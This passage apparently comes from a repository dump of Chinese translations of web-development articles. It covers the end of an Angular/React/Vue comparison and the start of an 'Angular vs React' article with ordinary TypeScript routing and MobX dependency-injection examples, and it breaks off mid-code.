性能比较（[源文件](http://www.stefankrause.net/js-frameworks-benchmark6/webdriver-ts-results/table.html)）\n\n![](https://cdn-images-1.medium.com/max/800/1*gpq0Y-rRczJ5C3DI5_EUlw.png)\n\n内存分配（[源文件](http://www.stefankrause.net/js-frameworks-benchmark6/webdriver-ts-results/table.html)）\n\n总结一下：Vue 有着很好的性能和高深的内存分配技巧。如果比较快慢的话，这些框架都非常接近（比如 [Inferno](http://www.stefankrause.net/js-frameworks-benchmark6/webdriver-ts-results/table.html)）。请记住，性能基准只能作为考虑的附注，而不是作为判断标准。\n\n### 测试\n\nFacebook [使用 Jest ](http://facebook.github.io/jest/)来测试其 React 代码。这里有篇 [Jest 和 Mocha 之间的比较](https://spin.atomicobject.com/2017/05/02/react-testing-jest-vs-mocha/)的文章 —— 还有一篇关于 [Enzyme 和 Mocha 如何一起使用](https://semaphoreci.com/community/tutorials/testing-react-components-with-enzyme-and-mocha) 的文章。Enzyme 是 Airbnb 使用的 JavaScript 测试工具（与 Jest，Karma 和其他测试框架一起使用）。如果你想了解更多，有一些关于在 React（[这里](https://medium.com/@bruderstein/the-missing-piece-to-the-react-testing-puzzle-c51cd30df7a0) 和[这里](http://reactkungfu.com/2015/07/approaches-to-testing-react-components-an-overview/)）测试的旧文章。\n\nAngular 2 中使用 **Jasmine** 作为测试框架。[Eric Elliott](https://medium.com/@_ericelliott) 在一篇文章中抱怨说 Jasmine “有数百种测试和断言的方式，需要仔细阅读每一个，来了解它在做什么”。输出也是非常臃肿和难以阅读。有关 Angular 2 [与 Karma](https://medium.com/@laco0416/setting-up-angular-2-testing-environment-with-karma-and-webpack-e9b833befd99) 和 [Mocha](https://medium.com/@PeterNagyJob/angular2-configuration-and-unit-testing-with-mocha-and-chai-4ada9484e569) 的整合的一些有用的文章。这里有一个关于 [Angular 2 测试策略](https://www.youtube.com/watch?v=C0F2E-PRm44) 的旧视频（从2015年起）。\n\nVue 缺乏测试指导，但是 Evan 在 2017 年的展望中写道，[团队计划在这方面开展工作](https://medium.com/the-vue-point/vue-in-2016-8df71d98bfb3)。他们推荐使用 [Karma](http://karma-runner.github.io/1.0/index.html)。[Vue 和 Jest 结合使用](https://github.com/locoslab/vue-jest-utils)，还有 [avoriaz 作为测试工具](https://github.com/eddyerburgh/avoriaz)。\n\n### 通用与原生 app\n\n通用 app 正在将应用程序引入 web、搬上桌面，同样将深入原生 app 的世界。\n\nReact 和 Angular 都支持原生开发。Angular 拥有用于原生应用的 [NativeScript](https://docs.nativescript.org/tutorial/ng-chapter-0)（由 Telerik 支持）和用于混合开发的 Ionic 框架。借助 React，你可以试试 [react-native-renderer](http://angularjs.blogspot.de/2016/04/angular-2-react-native.html) 来构建跨平台的 iOS 和 Android 应用程序，或者用 [react-native](https://facebook.github.io/react-native/) 开发原生 app。许多 app（包括 Facebook；查看更多的[展示](https://facebook.github.io/react-native/showcase.html)）都是用 react-native 构建的。\n\nJavascript 框架在客户端上渲染页面。这对于性能，整体用户体验和 SEO 是不利的。服务器端预渲染是一个好办法。所有这三个框架都有相应的库来实现服务端渲染。React 有 next.js，Vue 有 nuxt.js，而 Angular 有......[Angular Universal](https://universal.angular.io/)。\n\n### 学习曲线\n\nAngular 的学习曲线确实很陡。它有全面的文档，但你仍然可能被吓哭，因为[说起来容易做起来难](https://www.reddit.com/r/webdev/comments/5ho71i/why_we_chose_vuejs_over_react/db1vppj/)。即使你对 Javascript 有深入的了解，也需要了解框架的底层原理。去初始化项目是很神奇的，它会引入很多的包和代码。因为有一个大的，预先存在的生态系统，你需要随着时间的推移学习，这很不利。另一方面，由于已经做出了很多决定，所以在特定情况下可能会很好。对于 React，你可能需要针对第三方库进行大量重大决策。仅仅 React 中就有 16 种[不同的 flux 软件包来用于状态管理](https://github.com/voronianski/flux-comparison)可供选择。\n\nVue 学习起来很容易。公司转向 Vue 是因为它对初级开发者来说似乎更容易一些。这里有一片说他们团队为什么[从 Angular 转到 Vue](https://medium.com/@Hemantisme/moving-from-angular-to-vue-a-vuetiful-journey-c29842ab2039)的文章。[另一位用户](https://news.ycombinator.com/item?id=13151716) 表示，他公司的 React 应用程序非常复杂，以至于新开发人员无法跟上代码。有了 Vue，初级和高级开发人员之间的差距缩小了，他们可以更轻松地协作，减少 bug，减少解决问题的时间。\n\n有些人说他们用 React 做的东西比用 Vue 做的更好。如果你是一个没有经验的 Javascript 开发人员 - 或者如果你在过去十年中主要使用 jQuery，那么你应该考虑使用 Vue。转向 React 时，思维方式的转换更为明显。Vue 看起来更像是简单的 Javascript，同时也引入了一些新的概念：组件，事件驱动模型和单向数据流。这同样是很小的部分。\n\n同时，Angular 和 React 也有自己的实现方式。它们可能会限制你，因为你需要调整自己的做法，才能顺畅的开发。这可能是一个缺点，因为你不能随心所欲，而且学习曲线陡峭。这也可能是一个好处，因为你在学习技术时必须学习正确的概念。用 Vue，你可以用老方法来做。这一开始可能会比较容易上手，但长此以往会出现问题。\n\n在调试方面，React 和 Vue 的黑魔法更少是一个加分项。找出 bug 更容易，因为需要看的地方少了，堆栈跟踪的时候，自己的代码和那些库之间有更明显的区别。使用 React 的人员报告说，他们永远不必阅读库的源代码。但是，在调试 Angular 应用程序时，通常需要调试 Angular 的内部来理解底层模型。从好的一面来看，从 Angular 4 开始，错误信息应该更清晰，更具信息性。\n\n### Angular, React 和 Vue 底层原理\n\n你想自己阅读源代码吗？你想看看事情到底是怎么样的吗？\n \n可能首先要查看 Github 仓库: React（[github.com/facebook/react](https://github.com/facebook/react)）、Angular（[github.com/angular/angular](https://github.com/angular/angular)）和 Vue（[github.com/vuejs/vue](https://github.com/vuejs/vue)）。\n\n语法看起来怎么样？ValueCoders [比较 Angular，React 和 Vue 的语法](http://www.valuecoders.com/blog/technology-and-apps/vue-js-comparison-angular-react/)。\n\n在生产环境中查看也很容易 —— 连同底层的源代码。[TodoMVC](http://todomvc.com/) 列出了几十个相同的 Todo 应用程序，用不同的 Javascript 框架编写 —— 你可以比较 [Angular](http://todomvc.com/examples/angularjs)，[React](http://todomvc.com/examples/react/#/) 和 [Vue](http://todomvc.com/examples/vue/) 的解决方案。[RealWorld](https://realworld.io/#) 创建了一个真实世界的应用程序（中仿），他们已经准备好了 [Angular](https://github.com/gothinkster/angular-realworld-example-app)（4+）和 [React](https://github.com/gothinkster/react-redux-realworld-example-app)（带 Redux ）的解决方案。[Vue](https://github.com/mchandleraz/realworld-vue) 的开发正在进行中。\n\n你可以看到许多真实的 app，以下是 React 的方案：\n\n- [Do](https://github.com/1ven/do)（一款很好用的笔记管理 app，用 **React 和 Redux** 实现）\n- [sound-redux](https://github.com/andrewngu/sound-redux)（用 React 和 Redux 实现的 Soundcloud 客户端）\n- [Brainfock](https://github.com/Brainfock/Brainfock)（用 React 实现的项目和团队管理解决方案）\n- [react-hn](https://github.com/insin/react-hn) 和 [react-news](https://github.com/echenley/react-news)（仿 Hacker news）\n- [react-native-whatsapp-ui](https://github.com/himanshuchauhan/react-native-whatsapp-ui) 和 [教程](https://www.codementor.io/codementorteam/build-a-whatsapp-messenger-clone-in-react-part-1-4l2o0waav)（仿 Whatsapp 的 react-native 版）\n- [phoenix-trello](https://github.com/bigardone/phoenix-trello/blob/master/README.md)（仿 Trello）\n- [slack-clone](https://github.com/avrj/slack-clone) 和[其他教程](https://medium.com/@benhansen/lets-build-a-slack-clone-with-elixir-phoenix-and-react-part-1-project-setup-3252ae780a1) (仿Slack)\n\n以下是 Angular 版的 app：\n\n- [angular2-hn](https://github.com/housseindjirdeh/angular2-hn) 和 [hn-ng2](https://github.com/hswolff/hn-ng2)（仿 Hacker News，[另一个由 Ashwin Sureshkumar 创建的很好的教程](https://medium.com/@Sureshkumar_Ash/angular-2-hackernews-clone-dynamic-components-routing-params-and-refactor-340773d82e6f)）\n- [Redux-and-angular-2](https://medium.com/@Sureshkumar_Ash/angular-2-hackernews-clone-dynamic-components-routing-params-and-refactor-340773d82e6f)（仿 Twitter）\n\n以下是 Vue 版的 app：\n\n- [vue-hackernews-2.0](https://github.com/vuejs/vue-hackernews-2.0) 和 [Loopa news](https://github.com/Angarsk8/loopa-news)（仿Hacker News）\n- [vue-soundcloud](https://github.com/mul14/vue-soundcloud)（Soundcloud 演示）\n\n## 总结\n\n### 现在决定使用哪个框架\n\nReact，Angular 和 Vue 都很酷，而且没有一个能明显的超过对方。相信你的直觉。[最后一点有趣的玩世不恭的言辞](https://wildermuth.com/2017/02/12/Why-I-Moved-to-Vue-js-from-Angular-2#comment-3153455874)可能会有助于你的决定：\n\n> 这个肮脏的小秘密就是大多数 “现代 JavaScript 开发” 与实际构建网站无关 —— 它正在构建可供构建可供人们使用的库或者包，这些人可以为编写教程和教授课程的人构建框架。我不确定任何人实际上正在为实际用户建立任何交互。\n\n当然，这是夸张的，但是可能有一点点道理。是的，Javascript生态系统中有很多杂音。在你搜索的过程中，你可能会发现很多其他有吸引力的选项 —— 尽量不要被最新，最闪亮的框架蒙蔽。\n\n### 我应该选什么？\n\n如果你在Google工作：**Angular**\n\n如果你喜欢 TypeScript：**Angular（[或 React](https://medium.com/@jrwebdev/id-argue-that-if-you-love-typescript-then-react-may-be-a-better-choice-ceec950ee543)）**\n\n如果你喜欢面向对象编程（OOP）: **Angular**\n\n如果你需要指导手册，架构和帮助：**Angular**\n\n如果你在Facebook工作：**React**\n\n如果你喜欢灵活性：**React**\n\n如果你喜欢大型的技术生态系统：**React**\n\n如果你喜欢在几十个软件包中进行选择：**React**\n\n如果你喜欢JS和“一切都是 Javascript 的方法”：**React**\n\n如果你喜欢真正干净的代码：**Vue**\n\n如果你想要最平缓的学习曲线：**Vue**\n\n如果你想要最轻量级的框架：**Vue**\n\n如果你想在一个文件中分离关注点：**Vue**\n\n如果你一个人工作，或者有一个小团队：**Vue（或 React）**\n\n如果你的应用程序往往变得非常大：**Angular（或 React）**\n\n如果你想用 react-native 构建一个应用程序：**React**\n\n如果你想在圈子中有很多的开发者：**Angular 或 React**\n\n如果你与设计师合作，并需要干净的 HTML 文件：**Angular or Vue**\n\n如果你喜欢 Vue 但是害怕有限的技术生态系统：**React**\n\n如果你不能决定，先学习 **React**，然后 **Vue**，然后 **Angular**。\n\n**所以，你做出选择了吗？**\n\n![Yeeesss，你做到了！](https://cdn-images-1.medium.com/max/800/1*Eq7k6tq-LbMpCJKNN5SZ3Q.png)\n\n很好！阅读关于如何**开始 Angular，React 或 Vue** 开发（即将推出，在 [Twitter](http://www.twitter.com/jensneuhaus/) 上关注我的更新）。\n\n### More resources\n\n- [React JS，Angular 和 Vue JS —— 快速开始和比较](https://www.udemy.com/angular-reactjs-vuejs-quickstart-comparison/)（对这三个框架进行了 8 小时的介绍和比较)\n- [Angular React（和 Vue）- DEAL破坏者](https://hackernoon.com/angular-vs-react-the-deal-breaker-7d76c04496bc)（一个简短但很好的比较 [Dominik T](https://medium.com/@dominik.t)）\n- [Angular 2 和 React —— 终极之舞](https://medium.com/javascript-scene/angular-2-vs-react-the-ultimate-dance-off-60e7dfbc379c)（[Eric Elliott](https://medium.com/@_ericelliott) 一个很好的比较）\n- [React Angular Ember 和 Vue.js](https://medium.com/@gsari/react-vs-angular-vs-ember-vs-vue-js-e186c0afc1be)（[Gökhan Sari](https://medium.com/@gsari) 的三种框架的比较）\n- [React 和 Angular](https://www.sitepoint.com/react-vs-angular/)（两个框架的明确比较）\n- [Vue 可以战胜 React 吗？](https://rubygarage.org/blog/vuejs-vs-react-battle)（很多代码示例的一个很好的比较）\n- [10 个理由，为什么我从 Angular 转到 React](https://www.robinwieruch.de/reasons-why-i-moved-from-angular-to-react/)（Robin Wieruch 另一个很好的对比）\n- [所有的JavaScript框架都很糟糕](https://medium.com/@mattburgess/all-javascript-frameworks-are-terrible-e68d8865183e)（[Matt Burgess](https://medium.com/@mattburgess) 对所有主要框架的大肆抨击）\n\n**感谢您的关注。我忘了重要的事吗？你有不同的意见吗？我总是很高兴得到反馈。**\n\n**在 Twitter 上关注我的更新和获取更多内容：** [@jensneuhaus](http://www.twitter.com/jensneuhaus/) —— 🙌\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/angular-vs-react-which-is-better-for-web-development.md",
    "content": "\n> * 原文地址：[Angular vs. React: Which Is Better for Web Development?](https://codeburst.io/angular-vs-react-which-is-better-for-web-development-e0dd1fefab5b)\n> * 原文作者：[Brandon Morelli](https://codeburst.io/@bmorelli25)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/angular-vs-react-which-is-better-for-web-development.md](https://github.com/xitu/gold-miner/blob/master/TODO/angular-vs-react-which-is-better-for-web-development.md)\n> * 译者：[龙骑将杨影枫](https://github.com/stormrabbit)\n> * 校对者：[Larry](https://github.com/lampui)、[薛定谔的猫](https://github.com/Aladdin-ADD)、[逆寒](https://github.com/thisisandy)\n\n# Angular vs React：谁更适合前端开发\n\n## 大家总在写文章争论，Angular 与 React 哪一个才是前端开发的更好选择（译者：在中国还要加上 vue :P）。我们还需要另一个吗？\n\n我之所以写这篇文章，是因为[这些](https://gofore.com/en/angular-2-vs-react-the-final-battle-round-1/)[发](https://medium.com/javascript-scene/angular-2-vs-react-the-ultimate-dance-off-60e7dfbc379c)[表](https://www.sitepoint.com/react-vs-angular/)的文章 —— 虽然它们包含不错的观点 —— 并没有深入讨论作为一个实际的前端开发者应该选取哪种框架来满足自己的需求。\n\n![](https://cdn-images-1.medium.com/max/1600/0*wom7vFVQS16VhuJB.jpg)\n\n在本文中，我会介绍 Angular 与 React 如何用不同的~~哲♂学~~理念解决相同的前端问题，以及选择哪种框架基本上是看个人喜好。为了方便进行比较，我准备编写同一个 app 两次，一次使用 Angular 一次使用 React。\n\n### Angular 之殇\n\n两年前，我写了一篇有关 [React 生态系统](https://www.toptal.com/react/navigating-the-react-ecosystem) 的文章。以我的观点来说，Angular 是“预发布时就跪了”的倒霉蛋（victim of “death by pre-announcement”）。那个时候，任何不想让自己项目跑在过时框架上的开发者很容易在 Angular 和 React 之间做出选择。Angular 1 就是被时代抛弃的框架，（原本的）Angular 2 甚至没有活到 alpha 版本。\n\n不过事后证明，这种担心是多多少少有合理性的。Angular 2 进行了大幅度的修改，甚至在最终发布前对主要部分进行了重写。\n\n两年后，我们有了相对稳定的 Angular 4。\n\n怎么样？\n\n### Angular vs React：风马牛不相及 （Comparing Apples and Oranges）\n\n把 React 和 Angular 拿来比较是件很没意义的事情（校对逆寒： Comparing Apples and Oranges 是一种俚语说法，比喻把两件完全不同的东西拿来相提并论）。因为 React 只是一个处理界面（view）的库，而 Angular 是一个完整齐备的全家桶框架。\n\n当然，大部分 [React 开发者](https://www.toptal.com/react)会添加一系列的库，使得 React 成为完整的框架。但是这套完整框架的工作流程又一次和 Angular 完全不同，所以其可比性也很有限。\n\n两者最大的差别是对状态（state）的管理。Angular 通过数据绑定（data-binding）来将状态绑在数据上，而 React 如今通常引入 Redux 来提供单向数据流、处理不可变的数据（译者：我个人理解这句话的意思是 Angular 的数据和状态是互相影响的，而 React 只能通过切换不同的状态来显示不同的数据）。这是刚好互相对立的解决问题方法，而且开发者们不停的争论`可变的/数据绑定模式`与`不可变的/单向的数据流`两者间谁更优秀。\n\n### 公平竞争的环境\n\n既然 React 更容易理解，为了便于比较，我决定编写一份 React 与 Angular 的对应表，来合理的并排比较两者的代码结构。\n\nAngular 中有但是 React 没有默认自带的特性有：\n\n**特性** — **Angular 包** — **React 库**\n\n- 数据绑定，依赖注入（DI）—— **@angular/core** — [MobX](https://mobx.js.org/)\n\n- 计算属性 —— [**rxjs**](http://reactivex.io/)— [MobX](https://mobx.js.org/)\n\n- 基于组件的路由 —— **@angular/router**— [React Router v4](https://reacttraining.com/react-router/)\n\n- Material design 的组件 —— **@angular/material**— [React Toolbox](http://react-toolbox.com/#/)\n\n- CSS 组件作用域 —— **@angular/core** — [CSS modules](https://github.com/css-modules/css-modules)\n\n- 表单验证 —— **@angular/forms** — [FormState](https://formstate.github.io/)\n\n- 程序生产器（Project generator）—— **@angular/cli** — [React Scripts TS](https://github.com/wmonk/create-react-app-typescript)\n\n### 数据绑定\n\n相对单向数据流来说，数据绑定可能更适合入门。当然，也可以使用完全相反的做法（指单向数据流），比如使用 React 中的 [Redux](http://redux.js.org/) 或者 [mobx-state-tree](https://github.com/mobxjs/mobx-state-tree)，或者使用 Angular 中的 [ngrx](https://github.com/ngrx/store)。不过那就是另一篇文章所要阐述的内容了。\n\n### 计算属性（Computed properties）\n\n> “除存储属性外，类、结构体和枚举可以定义计算属性，计算属性不直接存储值，而是提供一个 getter 来获取值，一个可选的 setter\n> 来间接设置其他属性或变量的值。”\n>\n> 摘录来自: Unknown. “The Swift Programming Language 中文版”。 iBooks.\n\n考虑到性能问题，Angular 中简单的 `getters` 每次渲染时都被调用，所以被排除在外。这次我们使用 [RsJS](https://github.com/Reactive-Extensions/RxJS/blob/master/doc/api/subjects/behaviorsubject.md) 中的 [BehaviorSubject](https://github.com/Reactive-Extensions/RxJS/blob/master/doc/api/subjects/behaviorsubject.md) 来处理此类问题。\n\n在 React 中，可以使用 MobX 中的 [@computed](https://mobx.js.org/refguide/computed-decorator.html) 来达成相同的效果，而且此 api 会更方便一些。\n\n### 依赖注入\n\n依赖注入有一定的争议性，因为它与当前 React 推行的`函数式编程/数据不可变性理念`背道而驰。事实证明，某种程度的依赖注入是数据绑定环境中必不可少的部分，因为它可以帮助没有独立数据层的结构解耦（这样做更便于使用模拟数据和测试）。\n\n另一项依赖注入（Angular 中已支持）的优点是可以在（app）不同的生命周期中保有不同的数据仓库（store）。目前大部分 React 范例使用了映射到不同组件的全局状态（global app state）。但是依我的经验来看，当组件卸载（unmount）的时候清理全局状态很容易产生 bug。\n\n在组件加载（mount）的时候创建一个独立的数据仓库（而且可以无缝传递给此组件的子组件）非常方便，而且是一项很容易被忽略的概念。\n\nAngular 中开箱即用的做法，在 MobX 中也很容易重现。\n\n### 路由\n\n组件依赖的路由允许组件管理自身的子路由，而不是配置一个大的全局路由。这种方案终于在 `react-router` 4 里实现了。\n\n### Material Design\n\n使用高级组件（higher-level components）总是很棒的，而 material design 已经成为即便是在非谷歌的项目中也被广泛接受的选择。\n\n我特意选择了 [React Toolbox](http://react-toolbox.com/#/) 而不是通常推荐的 [Material UI](http://react-toolbox.com/#/)，因为 Material UI 有一系列公开承认的行内 css [性能问题](https://github.com/callemall/material-ui/blob/master/ROADMAP.md#summarizing-what-are-our-main-problems-with-css)，而它的开发者们计划在下个版本解决这些问题。\n\n此外，React Toolbox 中已经开始使用即将取代 Sass/LESS 的 [PostCSS/cssnext](http://cssnext.io/)。\n\n### 带有作用域的 CSS\n\nCSS 的类比较像是全局变量一类的东西。有许多方法来组织 CSS 以避免互相起冲突（包括 [BEM](https://csswizardry.com/2013/01/mindbemding-getting-your-head-round-bem-syntax/)），但是当前的趋势是使用库辅助处理 CSS 以避免冲突，而不是需要[前端开发者](https://www.toptal.com/front-end)煞费苦心的设计精密的 CSS 命名系统。\n\n### 表单校验\n\n表单校验是非常重要而且使用广泛的特性，使用相关的库可以有效避免冗余代码和 bug。\n\n### 程序生成器（Project Generator，也就是命令行工具）\n\n使用一个命令行工具来创建项目比从 Github 上下载样板文件要方便的多。\n\n### 分别使用 React 与 Angular 实现同一个 app\n\n那么我们准备使用 React 和 Anuglar 编写同一个 app。这个 app 并不复杂，只是一个可以供任何人发布帖子的公共贴吧（Shoutboard）。\n\n你可以在这里体验到这个 app：\n\n- [使用 Angular 编写的贴吧](http://shoutboard-angular.herokuapp.com/)\n\n- [使用 React 编写的贴吧](https://shoutboard-react.herokuapp.com/)\n\n![](https://cdn-images-1.medium.com/max/1600/0*wl5od5FrWzu83l6o.jpg)\n\n如果想阅读本项目的完整源代码，可以从如下地址下载：\n\n- [贴吧源码 Angular 版](https://github.com/tomaash/shoutboard-angular)\n- [贴吧源码 React 版](https://github.com/tomaash/shoutboard-react)\n\n你瞧，我们同样使用 TypeScript 编写 React app，因为能够使用类型检查的优势还是很赞的。作为一种处理引入更优秀的方式，async/await 以及 rest spread 如今终于可以在 TypeScript2 里使用，这样就不需要 Babel/ES7/[Flow](https://flow.org/) 了（leaves Babel/ES7/[Flow](https://flow.org/) in the dust）。\n\n>薛定谔的猫：babel 的扩展很强大的。ts 不支持的 babel 都可以通过插件支持（stage0~stage4）。\n\n同样，我们为两者添加了 [Apollo Client](https://github.com/apollographql/apollo-client)，因为我希望使用 GraphQL 风格的接口。我的意思是，REST 风格的接口确实不错，但是经过十几年的发展后，它已经跟不上时代了。\n\n### 启动与路由\n\n首先，让我们看一下两者的入口文件：\n\n#### Angular\n\n```\n// 路由配置\nconst appRoutes: Routes = [\n  { path: 'home', component: HomeComponent },\n  { path: 'posts', component: PostsComponent },\n  { path: 'form', component: FormComponent },\n  { path: '', redirectTo: '/home', pathMatch: 'full' }\n]\n\n@NgModule({\n  // 项目中使用组件的声明\n  declarations: [\n    AppComponent,\n    PostsComponent,\n    HomeComponent,\n    FormComponent,\n  ],\n  // 引用的第三方库\n  imports: [\n    BrowserModule,\n    RouterModule.forRoot(appRoutes),\n    ApolloModule.forRoot(provideClient),\n    FormsModule,\n    ReactiveFormsModule,\n    HttpModule,\n    BrowserAnimationsModule,\n    MdInputModule, MdSelectModule, MdButtonModule, MdCardModule, MdIconModule\n  ],\n  // 与整个 app 生命周期关联的服务（service）\n  providers: [\n    AppService\n  ],\n  // 启动时最先访问的组件\n  bootstrap: [AppComponent]\n})\n\n@Injectable()\nexport class AppService {\n  username = 'Mr. User'\n}\n```\n\n基本上，希望使用的组件要写在 `declarations` 中，需要引入的第三方库要写在 `imports` 中，希望注入的全局性数据仓库（global store）要写在 `providers` 中。子组件可以访问到已声明的变量，而且有机会可以添加一些自己的东西。\n\n#### React\n\n\n```\nconst appStore = AppStore.getInstance()\nconst routerStore = RouterStore.getInstance()\n\nconst rootStores = {\n  appStore,\n  routerStore\n}\n\nReactDOM.render(\n  <Provider {...rootStores} >\n    <Router history={routerStore.history} >\n      <App>\n        <Switch>\n          <Route exact path='/home' component={Home as any} />\n          <Route exact path='/posts' component={Posts as any} />\n          <Route exact path='/form' component={Form as any} />\n          <Redirect from='/' to='/home' />\n        </Switch>\n      </App>\n    </Router>\n  </Provider >,\n  document.getElementById('root')\n)\n```\n\n`<Provider/>` 组件在 MobX 中被用来依赖注入。它将数据仓库保存在上下文（context）中，这样 React 组件可以稍后进行注入。是的，React 上下文可以（大概）保证使用的[安全性](https://medium.com/@mweststrate/how-to-safely-use-react-context-b7e343eff076)。\n\n\n```\nexport class AppStore {\n  static instance: AppStore\n  static getInstance() {\n    return AppStore.instance || (AppStore.instance = new AppStore())\n  }\n  @observable username = 'Mr. User'\n}\n```\n\n\nReact 版本的入口文件相对要简短一些，因为不需要做那么多模块声明 —— 通常的情况下，只要导入就可以使用了。有时候这种硬依赖很麻烦（比如测试的时候），所以对于全局单例来说，我只好使用老式的（decades-old） [GoF](https://www.wikiwand.com/en/Design_Patterns) [模式](https://en.wikipedia.org/wiki/Singleton_pattern)。\n\nAngular 的路由是已注入的，所以可以在程序的任何地方使用，并不仅仅是组件中。为了在 React 中达到相同的功能，我们使用\n[mobx-react-router](https://github.com/alisd23/mobx-react-router) 并注入`routerStore`。\n\n总结：两个 app 的启动文件都非常直观。React 看起来更简单一点的，使用 import 代替了模块的加载。不过接下来我们会看到，虽然在入口文件中加载模块有点啰嗦，但是之后使用起来会很便利；而手动创建一个单例也有自己的麻烦。至于路由创建时的语法问题，是 JSON 更好还是 JSX 更好只是单纯的个人喜好。\n\n### 连接（Links）与命令式导航\n\n现在有两种方法来进行页面跳转。声明式的方法，使用超链接 `<a href...>` 标签；命令式的方法，直接调用 routing （以及 location）API。\n\n#### Angular\n\n\n```\n<h1> Shoutboard Application </h1>\n<nav>\n  <a routerLink=\"/home\" routerLinkActive=\"active\">Home</a>\n  <a routerLink=\"/posts\" routerLinkActive=\"active\">Posts</a>\n</nav>\n<router-outlet></router-outlet>\n```\n\n\nAngular Router 自动检测处于当前页面的 `routerLink`，为其加载适当的 `routerLinkActive` CSS 样式，方便在页面中凸显。\n\nrouter 使用特殊的  `<router-outlet>` 标签来渲染当前路径对应的视图（不管是哪种）。当 app 的子组件嵌套的比较深的时候，便可以使用很多 `<router-outlet>` 标签。\n\n\n```\n@Injectable()\nexport class FormService {\n  constructor(private router: Router) { }\n  goBack() {\n    this.router.navigate(['/posts'])\n  }\n}\n```\n\n路由模块可以注入进任何服务（一半是因为 TypeScript 是强类型语言的功劳），`private` 的声明修饰可以将路由存储在组件的实例上，不需要再显式声明。使用 `navigate` 方法便可以切换路径。\n\n#### React\n\n\n```\nimport * as style from './app.css'\n// …\n  <h1>Shoutboard Application</h1>\n  <div>\n    <NavLink to='/home' activeClassName={style.active}>Home</NavLink>\n    <NavLink to='/posts' activeClassName={style.active}>Posts</NavLink>\n  </div>\n  <div>\n    {this.props.children}\n  </div>\n```\n\nReact  Router 也可以通过 `activeClassName` 来设置当前连接的 CSS 样式。\n\n然而，我们不能直接使用 CSS 样式的名称，因为经过 CSS 模块编译后（CSS 样式的名字）会变得独一无二，所以必须使用 `style` 来进行辅助。稍后会详细解释。\n\n如上面所见，React Router 在 `<App>` 标签内使用 `<Switch>` 标签。因为 `<Switch>` 标签只是包裹并加载当前路由，这意味着当前组件的子路由就是 `this.props.children`。当然这些子组件也是这么组成的。\n\n\n```\nexport class FormStore {\n  routerStore: RouterStore\n  constructor() {\n    this.routerStore = RouterStore.getInstance()\n  }\n  goBack = () => {\n    this.routerStore.history.push('/posts')\n  }\n}\n```\n\n`mobx-router-store` 也允许简单的注入以及导航。\n\n总结：两种方案都相当类似。Angular 看起来更直观，React 的组合更简单。\n\n### 依赖注入\n\n事实证明，将数据层与展示层分离开是非常有必要的。我们希望通过依赖注入让数据逻辑层的组件（这里的叫法是 model/store/service）关联上表示层组件的生命周期，这样就可以创造一个或多个的数据层组件实例，不需要干扰全局状态。同时，这么做更容易兼容不同的数据与可视化层。\n\n这篇文章的例子非常简单，所有的依赖注入的东西看起来似乎有点画蛇添足。但是随着 app 业务的增加，这种做法会很方便的。\n\n#### Angular\n\n\n```\n@Injectable()\nexport class HomeService {\n  message = 'Welcome to home page'\n  counter = 0\n  increment() {\n    this.counter++\n  }\n}\n```\n\n任何类（class）均可以使用 `@injectable` 的装饰器进行修饰，这样它的属性与方法便可以在其他组件中调用。\n\n\n```\n@Component({\n  selector: 'app-home',\n  templateUrl: './home.component.html',\n  providers: [\n    HomeService // 注册在这里\n  ]\n})\n\nexport class HomeComponent {\n  constructor(\n    public homeService: HomeService,\n    public appService: AppService,\n  ) { }\n}\n```\n\n\n通过将 `HomeService` 注册进组件的 `providers`，此组件获得了一个独有的 `HomeService`。它不是单例，但是每一个组件在初始化的时候都会收到一个新的 `HomeService` 实例化对象。这意味着不会有之前 `HomeService` 使用过的过期数据。\n\n相对而言，`AppService` 被注册进了 `app.module` 文件（参见之前的入口文件），所以它是驻留在每一个组件中的单例，贯穿整个 app 的生命周期。能够从组件中控制服务的声明周期是一项非常有用、而且常被低估的概念。\n\n依赖注入通过在 TypeScript 类型定义的组件构造函数（constructor）内分配服务（service）的实例来起作用（译者：也就是上面代码中的 `public homeService: HomeService`）。此外，`public` 的关键词修饰的参数会自动赋值给 `this` 的同名变量，这样我们就不必再编写那些无聊的 `this.homeService = homeService` 代码了。\n\n\n```\n<div>\n  <h3>Dashboard</h3>\n  <md-input-container>\n    <input mdInput placeholder='Edit your name' [(ngModel)]='appService.username' />\n  </md-input-container>\n  <br/>\n  <span>Clicks since last visit: {{homeService.counter}}</span>\n  <button (click)='homeService.increment()'>Click!</button>\n</div>\n```\n\n\nAngular 的模板语法被证明相当优雅（译者：其实这也算是个人偏好问题），我喜欢 `[()]` 的缩写，这样就代表双向绑定（2-way data binding）。但是其本质上（under the hood）是属性绑定 + 事件驱动。就像（与组件关联后）服务的生命周期所规定的那样，`homeService.counter` 每次离开 `/home` 页面的时候都会重置，但是 `appService.username` 会保留，而且可以在任何页面访问到。\n\n#### React\n\n\n```\nimport { observable } from 'mobx'\n\nexport class HomeStore {\n  @observable counter = 0\n  increment = () => {\n    this.counter++\n  }\n}\n```\n\n\n如果希望通过 MobX 实现同样的效果，我们需要在任何需要监听其变化的属性上添加 `@observable` 装饰器。\n\n\n```\n@observer\nexport class Home extends React.Component<any, any> {\n\n  homeStore: HomeStore\n  componentWillMount() {\n    this.homeStore = new HomeStore()\n  }\n\n  render() {\n    return <Provider homeStore={this.homeStore}>\n      <HomeComponent />\n    </Provider>\n  }\n}\n```\n\n\n为了正确的控制（数据层的）生命周期，开发者必须比 Angular 例子多做一点工作。我们用 `Provider` 来包裹 `HomeComponent` ，这样在每次加载的时候都获得一个新的 `HomeStore` 实例。\n\n\n```\ninterface HomeComponentProps {\n  appStore?: AppStore,\n  homeStore?: HomeStore\n}\n\n@inject('appStore', 'homeStore')\n@observer\nexport class HomeComponent extends React.Component<HomeComponentProps, any> {\n  render() {\n    const { 